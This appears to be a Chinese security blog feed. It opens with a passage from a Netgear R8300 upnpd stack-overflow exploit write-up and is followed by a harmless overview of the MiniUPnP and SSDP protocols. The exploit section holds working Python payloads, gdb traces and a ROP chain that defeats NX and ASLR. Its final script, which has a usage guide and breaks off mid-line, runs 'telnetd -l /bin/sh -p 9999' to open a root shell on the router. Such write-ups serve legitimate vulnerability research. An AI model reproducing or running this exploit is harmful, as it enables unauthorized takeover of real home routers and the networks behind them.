<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png" a l t > <br > 在 <code > sub_25E04()</code> 中调用 <code > strcpy()</code> 将以上数据拷贝到大小为 <code > 0x634 - 0x58 = 0x5dc</code> 的 buffer。如果超过缓冲区大小, 数据就会覆盖栈底部分甚至返回地址。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png" a l t > </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ` ``+-----------------+`</span> <br > <span class= "line" > ` ``|`` retaddr ``|`</span> <br > <span class= "line" > ` ``+-----------------+`</span> <br > <span class= "line" > ` ``|`` saved ebp ``|`</span> <br > <span class= "line" > ` ebp``---> +-----------------+`</span> <br > <span class= "line" > ` ``|`` ``|`</span> <br > <span class= "line" > ` ``|`` ``|</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > s,ebp-0x58--> +-----------------+`</span> <br > <span class= "line" > ` ``|`` ``|`</span> <br > <span class= "line" > ` ``|`` buffer ``|`</span> <br > <span class= "line" > ` ``|`` ``|`</span> <br > <span class= "line" > ` ``|`` ``|`</span> <br > <span class= "line" > ` v40``,``ebp``-``0x634``--> +-----------------+`</span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "0x04-动态调试" > <a href= "#0x04-动态调试" class= "headerlink" title= "0x04 动态调试" > </a> 0x04 动态调试</h2> <p > 使用gdbserver调试目标程序<a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver" target= "_blank" rel= "noopener" > https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver</a> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > # ps|grep upnp</span> <br > <span class= "line" > 2714 0 3324 S ./usr/sbin/upnpd</span> <br > <span class= "line" > 2788 0 1296 S grep upnp</span> <br > <span class= "line" > # ./gdbserver 127.0.0.1:12345 --attach 2714</span> <br > <span class= "line" > Attached; pid = 2714</span> <br > <span class= "line" > Listening on port 12345</span> <br > </pre> </td> </tr> </table> </figure>
<p > 工作机上使用跨平台试gdb-multiarch<br > <code > gdb-multiarch -x dbgscript</code> <br > dbgscript 内容</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `set`` architecture arm`</span> <br > <span class= "line" > `gef``-``remote ``-``q ``192.168``.2``.1``:``12345`</span> <br > <span class= "line" > `file usr``/``sbin``/``upnpd`</span> <br > <span class= "line" > `set`` remote ``exec``-``file ``/``usr``/``sbin``/upnpd`</span> <br > </pre> </td> </tr> </table> </figure>
<p > 直接构造溢出字符, 程序不会正常返回, 因为栈上存在一个v40的指针v51, 需要覆盖为有效地址才能正确返回。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png" a l t > </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #!/usr/bin/python3</span> <br > <span class= "line" > </span> <br > <span class= "line" > import socket</span> <br > <span class= "line" > import struct</span> <br > <span class= "line" > </span> <br > <span class= "line" > p32 = lambda x: struct.pack(" < L" , x)</span> <br > <span class= "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span> <br > <span class= "line" > payload = (</span> <br > <span class= "line" > 0x634 * b' a' +</span> <br > <span class= "line" > p32(0x43434343)</span> <br > <span class= "line" > )</span> <br > <span class= "line" > print(payload)</span> <br > <span class= "line" > s.connect((' 192.168.2.2' , 1900))</span> <br > <span class= "line" > s.send(payload)</span> <br > <span class= "line" > s.close()</span> <br > </pre> </td> </tr> </table> </figure>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png" a l t > <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #!/usr/bin/python3</span> <br > <span class= "line" > </span> <br > <span class= "line" > import socket</span> <br > <span class= "line" > import struct</span> <br > <span class= "line" > </span> <br > <span class= "line" > p32 = lambda x: struct.pack(" < L" , x)</span> <br > <span class= "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span> <br > <span class= "line" > payload = (</span> <br > <span class= "line" > 0x604 * b' a' + # dummy</span> <br > <span class= "line" > p32(0x7e2da53c) + # v51</span> <br > <span class= "line" > (0x634 - 0x604 - 8) * b' a' + # dummy</span> <br > <span class= "line" > p32(0x43434343) # LR</span> <br > <span class= "line" > )</span> <br > <span class= "line" > s.connect((' 192.168.2.2' , 1900))</span> <br > <span class= "line" > s.send(payload)</span> <br > <span class= "line" > s.close()</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 可以看到, 我们向返回地址发送的数据为0x43434343, 但最后PC寄存器的值为0x43434342, 最后一个bit变为0, 这是为什么? <a href= "https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html" target= "_blank" rel= "noopener" > https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html</a> </p>
<ul >
<li > 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值, 保存的LR就被弹出到PC中返回给调用者。</li>
<li > 其次关于最低有效位的一个注意事项: BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位, CPSR寄存器在ARM和Thumb模式之间切换: ARM( LSB=0) /Thumb( LSB=1) 。<ul >
<li > 我们可以看到R7300是运行在THUMB状态</li>
<li > 当处理器处于ARM状态时, 每条ARM指令为4个字节, 所以PC寄存器的值为当前指令地址 + 8字节</li>
<li > 当处理器处于Thumb状态时, 每条Thumb指令为2字节, 所以PC寄存器的值为当前指令地址 + 4字节</li>
</ul>
</li>
<li > 因此保存的LR( 用0x43434343覆盖) 被弹出到PC中, 然后弹出地址的LSB被写入CPSR寄存器T位( 位5) , 最后PC本身的LSB被设置为0, 从而产生0x43434342。</li>
</ul>
<p > 最后检查程序的缓解措施。程序本身开启了NX, 之前用过R7000的真机, 设备开了ASLR<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png" a l t > <br > 在堆栈恢复前下一个断点, 观察控制流转移情况, 将PC指针控制为重启指令。通过 hook 的日志可以看到, ROP 利用链按照预期工作( 由于模拟环境的问题, reboot 命令运行段错误了…)</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > gef➤ b *0x00025F40</span> <br > <span class= "line" > Breakpoint 1 at 0x25f40</span> <br > <span class= "line" > </span> <br > <span class= "line" > .text:00025F40 ADD SP, SP, #0x234</span> <br > <span class= "line" > .text:00025F44 ADD SP, SP, #0x400</span> <br > <span class= "line" > .text:00025F48 LDMFD SP!, { R4-R11,PC} </span> <br > <span class= "line" > </span> <br > <span class= "line" > **.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; " reboot" </span> <br > <span class= "line" > .text:0003E9E0 BL system</span> <br > <span class= "line" > </span> <br > <span class= "line" > **payload如下: **</span> <br > <span class= "line" > payload = (</span> <br > <span class= "line" > 0x604 * b' a' + # dummy</span> <br > <span class= "line" > p32(0x76d9d450) + # v41</span> <br > <span class= "line" > (0x634 - 0x604 - 8) * b' a' + # dummy</span> <br > <span class= "line" > p32(0x0003E9DC) # system(reboot)</span> <br > <span class= "line" > )</span> <br > <span class= "line" > </span> <br > <span class= "line" > **固件模拟日志:**</span> <br > <span class= "line" > ssdp_http_method_check(203):</span> <br > <span class= "line" > ssdp_http_method_check(231):Http message error</span> <br > <span class= "line" > Detaching from process 3477</span> <br > <span class= "line" > rmmod: dhd.ko: No such file or directory</span> <br > <span class= "line" > **reboot: rmmod dhd failed: No such file or directory**</span> <br > <span class= "line" > **[0x0003e9e4] system(' reboot' ) = 0**</span> <br > </pre> </td> </tr> </table> </figure>
<p > 综合目前的情况:</p>
<ol >
<li > 目前可以控制<code > R4 - R11</code> 以及 <code > PC(R15)</code> 寄存器</li>
<li > 开了 NX 不能用在栈上布置<code > shellcode</code> 。</li>
<li > 有 ASLR, 不能泄漏地址, 不能使用各种 LIB 库中的符号和 <code > gadget</code> 。</li>
<li > <code > strcpy()</code> 函数导致的溢出, payload 中不能包含 <code > \x00</code> 字符。</li>
</ol>
<h2 id= "0x05-漏洞利用" > <a href= "#0x05-漏洞利用" class= "headerlink" title= "0x05 漏洞利用" > </a> 0x05 漏洞利用</h2> <p > 路由器已启用ASLR缓解功能, 我们可以使用ROP攻击绕过该功能。但是, 我们通过使用对NULL字节敏感的<strong > strcpy</strong> 来执行复制调用, 这反过来又会阻止我们使用ROP攻击。因此, 要利用包含NULL字节的地址, 我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(<code > stack reuse</code> ) <br > 注意到recvfrom函数在接收 socket 数据时 buffer 未初始化, 利用内存未初始化问题, 我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC, 每个 payload 前添加 <code > \x00</code> 防止程序崩溃( strcpy遇到\x00截断, 不会拷贝后面部分) 。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #!/usr/bin/python3</span> <br > <span class= "line" > </span> <br > <span class= "line" > import socket</span> <br > <span class= "line" > import struct</span> <br > <span class= "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span> <br > <span class= "line" > s.connect((' 192.168.2.2' , 1900))</span> <br > <span class= "line" > s.send(b' \x00' + b' A' * 0x1ff0)</span> <br > <span class= "line" > s.send(b' \x00' + b' B' * 0x633)</span> <br > <span class= "line" > s.close()</span> <br > </pre> </td> </tr> </table> </figure>
<p > 在strcpy下断点调试, 并检查栈区内存</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > gef➤ info b</span> <br > <span class= "line" > Num Type Disp Enb Address What</span> <br > <span class= "line" > 1 breakpoint keep y 0x76dd6e48 < recvfrom+4> </span> <br > <span class= "line" > 2 breakpoint keep y 0x76dc350c < strcpy+4> </span> <br > <span class= "line" > 4 breakpoint keep y 0x00025e70</span> <br > <span class= "line" > 5 breakpoint keep y 0x00025e74</span> <br > <span class= "line" > gef➤ search-pattern BBBB</span> <br > <span class= "line" > [+] Searching ' BBBB' in memory</span> <br > <span class= "line" > [+] In ' /lib/libc.so.0' (0x76d85000-0x76dea000), permission=r-x</span> <br > <span class= "line" > 0x76de17e4 - 0x76de17e8 → " BBBB[...]" </span> <br > <span class= "line" > 0x76de1ecc - 0x76de1edb → " BBBBBBBBCCCCCCC" </span> <br > <span class= "line" > 0x76de1ed0 - 0x76de1edb → " BBBBCCCCCCC" </span> <br > <span class= "line" > [+] In ' [stack]' (0x7eb36000-0x7eb6f000), permission=rw-</span> <br > <span class= "line" > **0x7eb6cc75** - 0x7eb6ccac → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" </span> <br > <span class= "line" > 0x7eb6cc79 - 0x7eb6ccb0 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" </span> <br > <span class= "line" > 0x7eb6cc7d - 0x7eb6ccb4 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" </span> <br > <span class= "line" > 0x7eb6cc81 - 0x7eb6ccb8 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" </span> <br > <span class= "line" > 0x7eb6cc85 - 0x7eb6ccbc → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" </span> <br > <span class= "line" > gef➤ x/s 0x7eb6cc75</span> <br > <span class= "line" > 0x7eb6cc75: ' B' < repeats 1587 times> </span> <br > <span class= "line" > gef➤ x/s 0x7eb6cc75+1588</span> <br > <span class= "line" > 0x7eb6d2a9: ' A' < repeats 6588 times> </span> <br > </pre> </td> </tr> </table> </figure>
<p > 此时程序上下文为</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > gef➤ context</span> <br > <span class= "line" > [ Legend: Modified register | Code | Heap | Stack | String ]</span> <br > <span class= "line" > ───────────────────────────────────────────────────────────────────────────────────────────── registers ────</span> <br > <span class= "line" > $r0 : 0x7eb6c5fc → 0x00000000</span> <br > <span class= "line" > **$r1 : 0x7eb6cc74** → 0x42424200</span> <br > <span class= "line" > $r2 : 0x1d </span> <br > <span class= "line" > $r3 : 0x7eb6c5fc → 0x00000000</span> <br > <span class= "line" > **$r4 : 0x7eb6cc74** → 0x42424200</span> <br > <span class= "line" > $r5 : 0x0000cf02 → blx 0x10c6586</span> <br > <span class= "line" > $r6 : 0x7eb6ecf4 → " 192.168.2.1" </span> <br > <span class= "line" > $r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000</span> <br > <span class= "line" > $r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000</span> <br > <span class= "line" > $r9 : 0x3eaf </span> <br > <span class= "line" > $r10 : 0x1 </span> <br > <span class= "line" > $r11 : 0x000c4584 → 0x00000005</span> <br > <span class= "line" > $r12 : 0x00055450 → 0x76dc3508 → < strcpy+0> mov r3, r0</span> <br > <span class= "line" > $sp : 0x7eb6c5d8 → " nnection:1" </span> <br > <span class= "line" > $lr : 0x00025e74 → mov r0, r7</span> <br > <span class= "line" > $pc : 0x76dc350c → < strcpy+4> ldrb r2, [r1], #1</span> <br > <span class= "line" > $cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]</span> <br > <span class= "line" > ───────────────────────────────────────────────────────────────────────────────────────────────── stack ────</span> <br > <span class= "line" > 0x7eb6c5d8│+0x0000: " nnection:1" ← $sp</span> <br > <span class= "line" > 0x7eb6c5dc│+0x0004: " tion:1" </span> <br > <span class= "line" > 0x7eb6c5e0│+0x0008: 0x0000313a (" :1" ?)</span> <br > <span class= "line" > 0x7eb6c5e4│+0x000c: 0x00000000</span> <br > <span class= "line" > 0x7eb6c5e8│+0x0010: 0x00000000</span> <br > <span class= "line" > 0x7eb6c5ec│+0x0014: 0x00000000</span> <br > <span class= "line" > 0x7eb6c5f0│+0x0018: 0x00000000</span> <br > <span class= "line" > 0x7eb6c5f4│+0x001c: 0x00000000</span> <br > <span class= "line" > ────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────</span> <br > <span class= "line" > 0x76dc3500 < strchrnul+24> bne 0x76dc34f0 < strchrnul+8> </span> <br > <span class= "line" > 0x76dc3504 < strchrnul+28> bx lr</span> <br > <span class= "line" > 0x76dc3508 < strcpy+0> mov r3, r0</span> <br > <span class= "line" > → 0x76dc350c < strcpy+4> ldrb r2, [r1], #1</span> <br > <span class= "line" > 0x76dc3510 < strcpy+8> cmp r2, #0</span> <br > <span class= "line" > 0x76dc3514 < strcpy+12> strb r2, [r3], #1</span> <br > <span class= "line" > 0x76dc3518 < strcpy+16> bne 0x76dc350c < strcpy+4> </span> <br > <span class= "line" > 0x76dc351c < strcpy+20> bx lr</span> <br > <span class= "line" > 0x76dc3520 < strcspn+0> push { r4, lr} </span> <br > <span class= "line" > ─────────────────────────────────────────────────────────────────────────────────────────────── threads ────</span> <br > <span class= "line" > [#0] Id 1,
<p > 由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。</p>
<p > 使用 <code > strcpy</code> 调用在 bss 上拼接出命令字符串 <code > telnetd\x20-l/bin/sh\x20-p\x209999\x20& \x20\x00</code> ,并调整 R0 指向这段内存,然后跳转 <code > system</code> 执行即可。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png" a l t > </p>
<h2 id= "0x06-脚本使用说明" > <a href= "#0x06-脚本使用说明" class= "headerlink" title= "0x06 脚本使用说明" > </a> <strong > 0x06 脚本使用说明</strong> </h2> <table >
<thead >
<tr >
<th > 脚本帮助:</th>
<th > usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】</th>
</tr>
</thead>
<tbody >
<tr >
<td > 真实利用:</td>
<td > IP:192.168.2.2 Port:upnp/1900</td>
</tr>
<tr >
<td > </td>
<td > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png" a l t > </td>
</tr>
</tbody>
</table>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > import socket</span> <br > <span class= "line" > import time</span> <br > <span class= "line" > import sys</span> <br > <span class= "line" > from struct import pack</span> <br > <span class= "line" > </span> <br > <span class= "line" > p32 = lambda x: pack(" < L" , x)</span> <br > <span class= "line" > bssBase = 0x9E150 #string bss BASE Address</span> <br > <span class= "line" > ip = ' 192.168.2.2' </span> <br > <span class= "line" > libc_addr = 0x76d9d450</span> <br > <span class= "line" > </span> <br > <span class= "line" > def banner():</span> <br > <span class= "line" > a= " " " </span> <br > <span class= "line" > # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130</span> <br > <span class= "line" > # Date : 2020.03.09</span> <br > <span class= "line" > # POC : system(" telnetd -l /bin/sh -p 9999& " ) Execute</span> <br > <span class= "line" > # Desc : execute telnetd to access router</span> <br > <span class= "line" > " " " </span> <br > <span class= "line" > print a</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > def makpayload2(libc_addr):</span> <br > <span class= "line" > payload = (</span> <br > <span class= "line" > 0x604 * b' a' + # dummy</span> <br > <span class= "line" > p32(int(libc_addr,16)) + # v51 Need to Existed Address</span> <br > <span class= "line" > (0x634 - 0x604 - 8) * b' a' + # dummy</span> <br > <span class= "line" > p32(0x000230f0) + # #change eip LR=0x000230f0</span> <br > <span class= "line" > 2509 * b' a' </span> <br > <span class= "line" > " " " </span> <br > <span class= "line" > .text:000230F0 ADD SP, SP, #0x20C</span> <br > <span class= "line" > .text:000230F4 ADD SP, SP, #0x1000</span> <br > <span class= "line" > .text:000230F8 LDMFD SP!, { R4-R11,PC} </span> <br > <span class= "line" > " " " </span> <br > <span class= "line" > )</span> <br > <span class= "line" > print(len(payload))</span> <br > <span class= "line" > return payload</span> <br > <span class= "line" > </span> <br > <span class= "line" > def makpayload1():</span> <br > <span class= "line" > expayload = ' ' </span> <br > <span class= "line" > " " " </span> <br > <span class= "line" > .text:00013644 MOV R0, R10 ; dest</span> <br > <span class= "line" > .text:00013648 MOV R1, R5 ; src</span> <br > <span class= "line" > .text:0001364C BL strcpy</span> <br > <span class= "line" > .text:00013650 MOV R0, R4</span> <br > <span class= "line" > .text:00013654 ADD SP, SP, #0x5C ; ' \' </span> <br > <span class= "line" > .text:00013658 LDMFD SP!, { R4-R8,R10,PC} </span> <br > <span class= "line" > " " " </span> <br > <span class= "line" > expayload += ' a' * 4550</span> <br > <span class= "line" > expayload += p32(bssBase+3) # R4 Register</span> <br > <span class= "line" > expayload += p32(0x3F340) # R5 Register //tel</span> <br > <span class= "line" > expayload += ' IIII' # R6 Register</span> <br > <span class= "line" > expayload += ' HHHH' # R7 Register</span> <br > <span class= "line" > expayload += ' GGGG' # R8 Register</span> <br > <span class= "line" > expayload += ' FFFF' # R9 Register</span> <br > <span class= "line" > expayload += p32(bssBase) # R10 Register</span> <br > <span class= "line" > expayload += ' BBBB' # R11 Register</span> <br > <span class= "line" > expayload += p32(0x13644) # strcpy</span> <br > <span class= "line" > </span> <br > <span class= "line" > expayload += ' d' *0x5c#dummy</span> <br > <span class= "line" > expayload += p32(bssBase+6) #R4</span> <br > <span class= "line" > expayload += p32(0x423D7) #R5 //telnet</span> <br > <span class= "line" > expayload += ' c' *4 #R6</span> <
]]></content>
2021-01-08 05:55:39 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2021-01-08 05:55:39 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > UPnP</tag>
<tag > 固件模拟</tag>
<tag > Netgear</tag>
</tags>
</entry>
<entry >
<title > 小米路由器_MiniUPnP协议</title>
<url > /2019/04/21/XIAOMI-UPnP/</url>
<content > <![CDATA[<h1 id="概述"> <a href= "#概述" class= "headerlink" title= "概述" > </a> 概述</h1> <p > <a href= "http://miniupnp.free.fr/" target= "_blank" rel= "noopener" > HomePage</a> <br > <a href= "https://openwrt.org/docs/guide-user/firewall/upnp/miniupnpd" target= "_blank" rel= "noopener" > OpenWRT与miniUPnP</a> </p>
<blockquote >
<p > MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。<br > 在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端( MiniUPnPc) 使用libnatpmp来支持NAT-PMP。<br > MiniUPnP守护程序( MiniUPnPd) 支持OpenBSD, FreeBSD, NetBSD, DragonFly BSD( Open) Solaris和Mac OS X以及pf或ipfw( ipfirewall) 或ipf和Linux with netfilter。 MiniUPnP客户端( MiniUPnPc) 和MiniSSDPd是便携式的, 可以在任何POSIX系统上运行。 MiniUPnPc也适用于MS Windows和AmigaOS( 版本3和4) 。</p>
</blockquote>
<p > <a href= "https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptx" target= "_blank" rel= "noopener" > https://2014.ruxcon.org.au/assets/2014/slides/rux-soap_upnp_ruxcon2014.pptx</a> <br > <a href= "https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf" target= "_blank" rel= "noopener" > https://www.akamai.com/us/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf</a> <br > <a href= "https://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf" target= "_blank" rel= "noopener" > https://www.defcon.org/images/defcon-19/dc-19-presentations/Garcia/DEFCON-19-Garcia-UPnP-Mapping.pdf</a> </p>
<h2 id= "UPnP-IGD客户端轻量级库和UPnP-IGD守护进程" > <a href= "#UPnP-IGD客户端轻量级库和UPnP-IGD守护进程" class= "headerlink" title= "UPnP IGD客户端轻量级库和UPnP IGD守护进程" > </a> UPnP IGD客户端轻量级库和UPnP IGD守护进程</h2> <p > 大多数家庭adsl /有线路由器和Microsoft Windows 2K/XP都支持UPnP协议。 MiniUPnP项目的目标是提供一个免费的软件解决方案来支持协议的“Internet网关设备”部分。</p>
<blockquote >
<p > 用于UPnP设备的Linux SDK( libupnp) 对我来说似乎太沉重了。 我想要最简单的库, 占用空间最小, 并且不依赖于其他库, 例如XML解析器或HTTP实现。 所有代码都是纯ANSI C.</p>
</blockquote>
<p > miniupnp客户端库在x86 PC上编译, 代码大小不到50KB。<br > miniUPnP守护程序比任何其他IGD守护程序小得多, 因此非常适合在低内存设备上使用。 它也只使用一个进程而没有其他线程, 不使用任何system( ) 或exec( ) 调用, 因此保持系统资源使用率非常低。<br > 该项目分为两个主要部分:</p>
<ul >
<li > MiniUPnPc, 客户端库, 使应用程序能够访问网络上存在的UPnP“Internet网关设备”提供的服务。 在UPnP术语中, MiniUPnPc是UPnP控制点。</li>
<li > MiniUPnPd, 一个守护进程, 通过作为网关的linux或BSD( 甚至Solaris) 为您的网络提供这些服务。 遵循UPnP术语, MiniUPnPd是UPnP设备。<br > 开发MiniSSDPd与MiniUPnPc, MiniUPnPd和其他协作软件一起工作: 1. MiniSSDPd监听网络上的SSDP流量, 因此MiniUPnPc或其他UPnP控制点不需要执行发现过程, 并且可以更快地设置重定向; 2. MiniSSDPd还能够代表MiniUPnPd或其他UPnP服务器软件回复M-SEARCH SSDP请求。 这对于在同一台机器上托管多个UPnP服务很有用。<br > 守护进程现在也可以使用netfilter用于linux 2.4.x和2.6.x. 可以使它在运行OpenWRT的路由器设备上运行。<br > 由于某些原因, 直接使用MiniUPnP项目中的代码可能不是一个好的解决方案。<br > 由于代码很小且易于理解, 因此为您自己的UPnP实现提供灵感是一个很好的基础。 C ++中的<a href= "http://ktorrent.org/" target= "_blank" rel= "noopener" > KTorrent</a> UPnP插件就是一个很好的例子。</li>
</ul>
<h2 id= "MiniUPnP客户端库的实用性" > <a href= "#MiniUPnP客户端库的实用性" class= "headerlink" title= "MiniUPnP客户端库的实用性" > </a> MiniUPnP客户端库的实用性</h2> <p > 只要应用程序需要侦听传入的连接, MiniUPnP客户端库的使用就很有用。例如: P2P应用程序, 活动模式的FTP客户端, IRC( 用于DCC) 或IM应用程序, 网络游戏, 任何服务器软件。</p>
<ul >
<li > 路由器的UPnP IGD功能的典型用法是使用MSN Messenger的文件传输。 MSN Messenger软件使用Windows XP的UPnP API打开传入连接的端口。 为了模仿MS软件, 最好也使用UPnP。</li>
<li > 已经为XChat做了一个补丁, 以展示应用程序如何使用miniupnp客户端库。</li>
<li > 传输, 一个免费的软件BitTorrent客户端正在使用miniupnpc和libnatpmp。</li>
</ul>
<h2 id= "MiniUPnP守护进程的实用性" > <a href= "#MiniUPnP守护进程的实用性" class= "headerlink" title= "MiniUPnP守护进程的实用性" > </a> MiniUPnP守护进程的实用性</h2> <p > UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏, IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道, MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。</p>
<h2 id= "安全" > <a href= "#安全" class= "headerlink" title= "安全" > </a> 安全</h2> <p > UPnP实施可能会受到安全漏洞的影响。 错误执行或配置的UPnP IGD易受攻击。 安全研究员HD Moore做了很好的工作来揭示现有实施中的漏洞: <a href= "http://hdm.io/writing/originals/SecurityFlawsUPnP.pdf" target= "_blank" rel= "noopener" > 通用即插即用( PDF) 中的安全漏洞</a> 。 一个常见的问题是让SSDP或HTTP/SOAP端口对互联网开放: 它们应该只能从LAN访问。</p>
<h1 id= "协议栈" > <a href= "#协议栈" class= "headerlink" title= "协议栈" > </a> 协议栈</h1> <p > 工作流程<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830377/paper/111.png" a l t > </p>
<p > Linux体系结构<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830425/paper/112.png" a l t > </p>
<h2 id= "发现" > <a href= "#发现" class= "headerlink" title= "发现" > </a> 发现</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830465/paper/113.png" a l t > <br > 给定一个IP地址( 通过DHCP获得) , UPnP网络中的第一步是发现。<br > 当一个设备被加入到网络中并想知道网络上可用的UPnP服务时, UPnP检测协议允许该设备向控制点广播自己的服务。通过UDP协议向端口1900上的多播地址239.255.255.250发送发现消息。此消息包含标头, 类似于HTTP请求。此协议有时称为HTTPU( HTTP over UDP) : <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > M-SEARCH * HTTP / 1.1</span> <br > <span class= "line" > 主机: 239.255.255.250 : 1900</span> <br > <span class= "line" > MAN: ssdp: discover</span> <br > <span class= "line" > MX: 10</span> <br > <span class= "line" > ST: ssdp: all</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 所有其他UPnP设备或程序都需要通过使用UDP单播将类似的消息发送回设备来响应此消息, 并宣布设备或程序实现哪些UPnP配置文件。对于每个配置文件, 它实现一条消息发送: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > HTTP / 1.1 200 OK</span> <br > <span class= "line" > CACHE-CONTROL: max-age = 1800</span> <br > <span class= "line" > EXT: </span> <br > <span class= "line" > LOCATION: http: //10.0.0.138: 80 / IGD.xml</span> <br > <span class= "line" > SERVER: SpeedTouch 510 4.0.0.9.0 UPnP / 1.0( DG233B00011961) </span> <br > <span class= "line" > ST: urn: schemas-upnp-org: service: WANPPPConnection: 1</span> <br > <span class= "line" > USN: uuid: UPnP-SpeedTouch510 :: urn: schemas-upnp-org: service: WANPPPConnection: 1</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 类似地,当一个控制点加入到网络中的时候,它也能够搜索到网络中存在的、感兴趣的设备相关信息。这两种类型的基础交互是一种仅包含少量、重要相关设备信息或者它的某个服务。比如,类型、标识和指向更详细信息的链接。<br > UPnP检测协议是 <strong > <em > 基于简单服务发现协议( SSDP) </em> </strong> 的。</p>
<h2 id= "描述" > <a href= "#描述" class= "headerlink" title= "描述" > </a> 描述</h2> <p > UPnP网络的下一步是描述。当一个控制点检测到一个设备时, 它对该设备仍然知之甚少。为了使控制点了解更多关于该设备的信息或者和设备进行交互, 控制点必须从设备发出的检测信息中包含的URL获取更多的信息。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1555830499/paper/114.png" a l t > <br > 某个设备的UPnP描述是 <strong > XML</strong> 的方式,通过http协议, 包括品牌、厂商相关信息, 如型号名和编号、序列号、厂商名、品牌相关URL等。描述还包括一个嵌入式设备和服务列表, 以及控制、事件传递和存在相关的URL。对于每种设备, 描述还包括一个命令或动作列表, 包括响应何种服务, 针对各种动作的参数; 这些变量描述出运行时设备的状态信息, 并通过它们的数据类型、范围和事件来进行描述。</p>
